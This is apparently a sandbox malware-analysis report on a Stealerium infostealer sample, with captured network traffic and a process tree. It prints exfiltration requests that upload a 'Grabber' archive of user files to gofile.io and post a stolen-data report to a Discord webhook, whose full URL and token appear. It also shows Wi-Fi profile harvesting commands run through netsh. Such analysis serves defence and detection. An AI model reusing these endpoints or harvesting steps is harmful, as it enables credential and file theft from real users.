2023-04-04 14:43:15 UTC	155	OUT	Data Raw: 3f 2a f5 1b e4 4b 72 2a f4 17 58 34 75 32 e0 1a 5f 29 f3 b1 e4 b7 c4 5b 82 16 0c 83 de 0c ec c7 34 10 08 1a db 03 51 b9 d3 84 2b 35 d9 87 a6 b9 eb 66 f6 68 e4 7c c8 8c b2 d2 4d fd 56 a2 56 eb 3d 99 dd 8e aa df 25 bc 9e b0 c4 c0 b0 bf 42 d5 2b ac 22 28 ea 8e b0 f0 31 1a 6d b0 3a 9b c2 86 52 53 6f 5e 26 74 80 dc 09 3d 71 1b 6c ef 13 c5 1e 08 f2 fb d6 3a 74 41 ee f4 5f ad a9 e5 5c 9d e0 eb 39 a4 ff 32 a2 dd 0d c3 fd a2 82 f6 f4 48 11 47 8b 6b bb ff 84 b4 66 5a f2 0b a1 3a a9 ef 17 23 e3 a8 b9 00 7f 5c 7c 8a 77 2c c7 c8 b4 4d e6 79 45 c9 20 5f 1c 5a da 97 01 ca 74 8d c9 65 98 b4 1d a0 a4 aa e9 8c 35 be 79 0e 49 fb 9f f3 58 04 b8 bf 9e 4e 09 e3 b8 7a f0 9b 0f e7 e6 be 9b 1d 59 ce b9 10 79 4a 6c f5 c8 81 26 5e e0 a7 9d 98 ad cd c2 73 39 3f 2a 53 5e 59 42 6e 8b Data Ascii: ?KrX4u2_)[4Q+5fh\|MVV=%B+"(1m:RSo^&t=ql:tA_\92HGkfZ:#\\|w,MyE _Zte5yIXNzYyJl&^s9?*S^YBn
2023-04-04 14:43:15 UTC	163	OUT	Data Raw: 6a 70 67 0a 00 20 00 00 00 00 00 01 00 18 00 88 f8 61 c7 be b1 d8 01 95 25 2d 11 4f 67 d9 01 39 c3 2a 11 4f 67 d9 01 50 4b 01 02 2d 00 14 00 01 08 08 00 e7 7a 10 55 b4 ff d1 be 90 02 00 00 02 04 00 00 33 00 24 00 00 00 00 00 00 00 20 00 00 00 cd 23 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 61 6c 66 6f 6e 73 2f 44 65 73 6b 74 6f 70 2f 4e 45 42 46 51 51 59 57 50 53 2e 70 6e 67 0a 00 20 00 00 00 00 00 01 00 18 00 88 f8 61 c7 be b1 d8 01 b9 73 3b 11 4f 67 d9 01 ee ae 36 11 4f 67 d9 01 50 4b 01 02 2d 00 14 00 01 08 08 00 e7 7a 10 55 02 8b 57 0e 8e 02 00 00 02 04 00 00 34 00 24 00 00 00 00 00 00 00 20 00 00 00 d2 26 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 61 6c 66 6f 6e 73 2f 44 65 73 6b 74 6f 70 2f Data Ascii: jpg a%-Og9*OgPK-zU3$ #Grabber/DRIVE-C/Users/user/Desktop/NEBFQQYWPS.png as;Og6OgPK-zUW4$ &Grabber/DRIVE-C/Users/user/Desktop/
2023-04-04 14:43:15 UTC	171	OUT	Data Raw: 6d 65 6e 74 73 2f 5a 42 45 44 43 4a 50 42 45 59 2f 52 41 59 48 49 57 47 4b 44 49 2e 6a 70 67 0a 00 20 00 00 00 00 00 01 00 18 00 bc 97 40 c7 be b1 d8 01 c2 72 a6 14 4f 67 d9 01 ff 86 9a 14 4f 67 d9 01 50 4b 01 02 2d 00 14 00 01 08 08 00 e7 7a 10 55 91 6c 91 87 91 02 00 00 02 04 00 00 41 00 24 00 00 00 00 00 00 00 20 00 00 00 2d c5 00 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 61 6c 66 6f 6e 73 2f 44 6f 63 75 6d 65 6e 74 73 2f 5a 42 45 44 43 4a 50 42 45 59 2f 5a 42 45 44 43 4a 50 42 45 59 2e 64 6f 63 78 0a 00 20 00 00 00 00 00 01 00 18 00 3f 35 3e c7 be b1 d8 01 06 d5 a8 14 4f 67 d9 01 c2 72 a6 14 4f 67 d9 01 50 4b 01 02 2d 00 14 00 00 08 00 00 45 85 84 56 00 00 00 00 00 00 00 00 00 00 00 00 27 00 24 00 00 00 00 00 00 00 10 00 00 Data Ascii: ments/ZBEDCJPBEY/RAYHIWGKDI.jpg @rOgOgPK-zUlA$ -Grabber/DRIVE-C/Users/user/Documents/ZBEDCJPBEY/ZBEDCJPBEY.docx ?5>OgrOgPK-EV'$
2023-04-04 14:43:15 UTC	175	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 33 35 32 62 61 65 37 35 38 32 61 38 2d 2d 0d 0a Data Ascii: -----------------------8db352bae7582a8--
2023-04-04 14:43:15 UTC	175	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Origin: * Content-Length: 312 Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: application/json; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Date: Tue, 04 Apr 2023 14:43:15 GMT Etag: W/"138-68bPkTBFfdfBULhKBihPUXQ4KV0" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Connection: close {"status":"ok","data":{"guestToken":"tNjgs9CVQzAbuCud2TO5yLEbpXzfN646","downloadPage":"https://gofile.io/d/Eljz06","code":"Eljz06","parentFolder":"e0be88e3-509a-460f-b644-8ddc60d262cf","fileId":"672a8773-a21d-4f04-86ec-9b32995e4253","fileName":"user@284992_en-US.zip","md5":"baffdb3b972502d8121b291ec8b216f6"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49701	104.21.44.66	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-04 14:43:22 UTC	176	OUT	GET /geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2023-04-04 14:43:22 UTC	176	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:43:22 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: MISS Last-Modified: Tue, 04 Apr 2023 14:43:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=w%2BsN23tMbX9sNzr5fUgw0w0qZ4KHoNNgwcFfTqyu372mCx5kYjv4pcL7PcYjz5IEbexPpRBdOfqKsDCf7DzWR3EGRuiKCzShTiLuVkQNCaxw6XtWylv9kCE52nxcFCCOkZIw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 7b2a52c00c9e2c49-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-04-04 14:43:22 UTC	177	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 36 38 30 36 31 39 34 30 32 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1680619402}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49702	162.159.130.233	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-04 14:43:22 UTC	177	OUT	POST /api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6?wait=true HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: discordapp.com Content-Length: 1705 Expect: 100-continue
2023-04-04 14:43:22 UTC	177	IN	HTTP/1.1 100 Continue
2023-04-04 14:43:22 UTC	177	OUT	Data Raw: 75 73 65 72 6e 61 6d 65 3d 53 74 65 61 6c 65 72 69 75 6d 26 61 76 61 74 61 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 75 73 65 72 2d 69 6d 61 67 65 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 25 32 66 34 35 38 35 37 35 39 30 25 32 66 31 33 38 35 36 38 37 34 36 2d 31 61 35 35 37 38 66 65 2d 66 35 31 62 2d 34 31 31 34 2d 62 63 66 32 2d 65 33 37 34 35 33 35 66 38 34 38 38 2e 70 6e 67 26 63 6f 6e 74 65 6e 74 3d 25 36 30 25 36 30 25 36 30 25 30 61 25 66 30 25 39 66 25 39 38 25 62 39 2b 2a 53 74 65 61 6c 65 72 69 75 6d 2b 2d 2b 52 65 70 6f 72 74 25 33 61 2a 25 30 61 44 61 74 65 25 33 61 2b 32 30 32 33 2d 30 34 2d 30 34 2b 34 25 33 61 34 31 25 33 61 35 31 2b 50 4d 25 30 61 53 79 73 74 65 6d 25 33 61 2b 57 69 6e 64 6f 77 Data Ascii: username=Stealerium&avatar_url=https%3a%2f%2fuser-images.githubusercontent.com%2f45857590%2f138568746-1a5578fe-f51b-4114-bcf2-e374535f8488.png&content=%60%60%60%0a%f0%9f%98%b9+Stealerium+-+Report%3a%0aDate%3a+2023-04-04+4%3a41%3a51+PM%0aSystem%3a+Window
2023-04-04 14:43:22 UTC	179	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:43:22 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close set-cookie: __dcfduid=0c961f98d2f711ed81205ed9c0b0c049; Expires=Sun, 02-Apr-2028 14:43:22 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ strict-transport-security: max-age=31536000; includeSubDomains x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1680619404 x-ratelimit-reset-after: 1 Via: 1.1 google Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qj8IPJNA9no4iiPPtkefmgyuEfvaDuL3wfhYOkwiKUKO0Z4JzoLDoy9PGrt0sWAw6v5Mu1TVPUJvTrzAZpnK%2BvHI0TPye93rppiMQMnDh2yn5vjPhhou3SoKooAXSRK9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=0c961f98d2f711ed81205ed9c0b0c049a165b1baef20d9410e993d150974bcbb00ce4c33f7a869e290564caa4a5fc6c6; Expires=Sun, 02-Apr-2028 14:43:22 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Set-Cookie: __cf_bm=QME07u5tQsqt0DyDsI2rbjfi9OGNMbqfG00ovta8ty0-1680619402-0-ATopLJojQF6WqtsfVTytrnNhz3y3lLrfuifRoXtEDORCUpugYi1kB9skUpMl/yo15aYsE/FGOfXkNJIenvUykbA=; path=/; expires=Tue, 04-Apr-23 15:13:22 GMT; domain=.discordapp.com; HttpOnly; Secure
2023-04-04 14:43:22 UTC	180	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 64 32 63 66 61 31 63 61 62 64 33 63 34 62 35 30 62 36 38 63 36 64 63 64 36 61 35 66 39 64 33 36 34 37 61 36 61 33 32 38 2d 31 36 38 30 36 31 39 34 30 32 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 37 62 32 61 35 32 63 32 31 38 30 66 33 30 65 64 2d 46 52 41 0d 0a 0d 0a Data Ascii: Set-Cookie: __cfruid=d2cfa1cabd3c4b50b68c6dcd6a5f9d3647a6a328-1680619402; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 7b2a52c2180f30ed-FRA
2023-04-04 14:43:22 UTC	181	IN	Data Raw: 37 35 37 0d 0a 7b 22 69 64 22 3a 20 22 31 30 39 32 38 32 31 37 32 34 31 38 37 33 33 32 36 39 39 22 2c 20 22 74 79 70 65 22 3a 20 30 2c 20 22 63 6f 6e 74 65 6e 74 22 3a 20 22 60 60 60 5c 6e 5c 75 64 38 33 64 5c 75 64 65 33 39 20 2a 53 74 65 61 6c 65 72 69 75 6d 20 2d 20 52 65 70 6f 72 74 3a 2a 5c 6e 44 61 74 65 3a 20 32 30 32 33 2d 30 34 2d 30 34 20 34 3a 34 31 3a 35 31 20 50 4d 5c 6e 53 79 73 74 65 6d 3a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 36 34 20 42 69 74 29 5c 6e 55 73 65 72 6e 61 6d 65 3a 20 61 6c 66 6f 6e 73 5c 6e 43 6f 6d 70 4e 61 6d 65 3a 20 32 38 34 39 39 32 5c 6e 4c 61 6e 67 75 61 67 65 3a 20 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 38 20 65 6e 2d 55 53 5c 6e 41 6e 74 69 76 69 72 75 73 3a 20 57 69 6e 64 Data Ascii: 757{"id": "1092821724187332699", "type": 0, "content": "```\n\ud83d\ude39 Stealerium - Report:\nDate: 2023-04-04 4:41:51 PM\nSystem: Windows 10 Pro (64 Bit)\nUsername: user\nCompName: 284992\nLanguage: \ud83c\uddfa\ud83c\uddf8 en-US\nAntivirus: Wind
2023-04-04 14:43:22 UTC	182	IN	Data Raw: 76 65 20 70 61 73 73 77 6f 72 64 20 69 73 3a 20 5c 22 36 64 62 65 37 39 61 32 36 61 30 62 64 62 61 61 66 35 30 35 66 32 38 33 39 31 61 35 34 63 32 62 5c 22 60 60 60 22 2c 20 22 63 68 61 6e 6e 65 6c 5f 69 64 22 3a 20 22 31 30 37 36 35 33 30 39 38 39 31 39 32 34 35 30 31 30 39 22 2c 20 22 61 75 74 68 6f 72 22 3a 20 7b 22 62 6f 74 22 3a 20 74 72 75 65 2c 20 22 69 64 22 3a 20 22 31 30 38 34 37 38 33 38 34 33 36 31 35 31 37 38 38 34 33 22 2c 20 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 53 74 65 61 6c 65 72 69 75 6d 22 2c 20 22 61 76 61 74 61 72 22 3a 20 22 37 36 65 30 30 35 31 65 32 64 33 34 66 31 35 39 64 61 39 35 33 39 38 32 39 66 35 65 31 66 34 64 22 2c 20 22 64 69 73 63 72 69 6d 69 6e 61 74 6f 72 22 3a 20 22 30 30 30 30 22 7d 2c 20 22 61 74 74 61 63 68 6d 65 Data Ascii: ve password is: \"6dbe79a26a0bdbaaf505f28391a54c2b\"```", "channel_id": "1076530989192450109", "author": {"bot": true, "id": "1084783843615178843", "username": "Stealerium", "avatar": "76e0051e2d34f159da9539829f5e1f4d", "discriminator": "0000"}, "attachme
2023-04-04 14:43:22 UTC	182	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:41:26
Start date:	04/04/2023
Path:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Imagebase:	0xe00000
File size:	2248192 bytes
MD5 hash:	0B0596F72ACCD0B8B6883FFD1EF44D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Clipboard_Hijacker_4, Description: Yara detected Clipboard Hijacker, Source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	16:41:49
Start date:	04/04/2023
Path:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Imagebase:	0x160000
File size:	2248192 bytes
MD5 hash:	0B0596F72ACCD0B8B6883FFD1EF44D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	16:41:49
Start date:	04/04/2023
Path:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Imagebase:	0x250000
File size:	2248192 bytes
MD5 hash:	0B0596F72ACCD0B8B6883FFD1EF44D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	16:41:50
Start date:	04/04/2023
Path:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Imagebase:	0x560000
File size:	2248192 bytes
MD5 hash:	0B0596F72ACCD0B8B6883FFD1EF44D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	16:41:50
Start date:	04/04/2023
Path:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Imagebase:	0x10000
File size:	2248192 bytes
MD5 hash:	0B0596F72ACCD0B8B6883FFD1EF44D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	5
Start time:	16:41:50
Start date:	04/04/2023
Path:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\f2wWJWlU2B.exe
Imagebase:	0xee0000
File size:	2248192 bytes
MD5 hash:	0B0596F72ACCD0B8B6883FFD1EF44D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Clipboard_Hijacker_4, Description: Yara detected Clipboard Hijacker, Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealerium, Description: Yara detected Stealerium, Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	6
Start time:	16:42:08
Start date:	04/04/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	7
Start time:	16:42:09
Start date:	04/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	16:42:09
Start date:	04/04/2023
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x150000
File size:	12800 bytes
MD5 hash:	561054CF9C4B2897E80D7E7D9027FED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	9
Start time:	16:42:09
Start date:	04/04/2023
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x1280000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	10
Start time:	16:42:09
Start date:	04/04/2023
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0x9b0000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	11
Start time:	16:42:11
Start date:	04/04/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	12
Start time:	16:42:11
Start date:	04/04/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6a39b0000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	13
Start time:	16:42:11
Start date:	04/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	14
Start time:	16:42:11
Start date:	04/04/2023
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x150000
File size:	12800 bytes
MD5 hash:	561054CF9C4B2897E80D7E7D9027FED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	15
Start time:	16:42:12
Start date:	04/04/2023
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x1280000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	141
Total number of Limit Nodes:	3

Executed Functions

Function 0182B3E0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0182B636

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 689d990515c3b552d75023dd40453249fbdb13ba7944e0addcc35ca6c612e7ab
Instruction ID: a05f9b855c3250933186afcbd0cb5712ab1e52e69bee8a0bfbd3111139d21071
Opcode Fuzzy Hash: 689d990515c3b552d75023dd40453249fbdb13ba7944e0addcc35ca6c612e7ab
Instruction Fuzzy Hash: 7C7155B0A01B158FD725DF2AC18476ABBF1FF88300F00892DD58ADBB50DB34E9858B91

Uniqueness

Uniqueness Score: -1.00%

Function 01823E8C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01825421

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ff9e1b29a79299d1fe010c1df0b208f82c1bff360cf18b085ac095db13bf1743
Instruction ID: a7f4c77f81d01712ddc909514a166a6255f1a60371e3d8370862f31d8cece815
Opcode Fuzzy Hash: ff9e1b29a79299d1fe010c1df0b208f82c1bff360cf18b085ac095db13bf1743
Instruction Fuzzy Hash: BC41C4B1D4062CCFDB24DFAAC8847DDBBB5BF44304F14806AD419AB251DB756985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01825365 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01825421

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4d0aff994e45ee86564f0463819291a7e5ab17189470ae1ee77edc8f5b666f49
Instruction ID: 7e7e01f607a040df159727cf1db23e923e0fd57b376b217511beb037e114b518
Opcode Fuzzy Hash: 4d0aff994e45ee86564f0463819291a7e5ab17189470ae1ee77edc8f5b666f49
Instruction Fuzzy Hash: 9741C4B1D40728CFDB14DFAAC9847DDBBB5BF48304F24805AD418AB251DB756985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0182CAEC Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0182D8D6,?,?,?,?,?), ref: 0182D997

Memory Dump Source

Source File: 00000000.00000002.359523023.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_f2wWJWlU2B.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f60137c86d3a44e07a75a6d32a8c7e3416b31267c90aae555ad7a0ddfb9286cf
Instruction ID: 127219c8d501337a2e5c0ba39d8b6c1e475e48553b63a2246ff6ca0d7563cacf
Opcode Fuzzy Hash: f60137c86d3a44e07a75a6d32a8c7e3416b31267c90aae555ad7a0ddfb9286cf
Instruction Fuzzy Hash: 5221E5B5900218EFDB10CF9AD584ADEBFF5EB48320F14851AE919B7310D374AA54CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0182D908 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

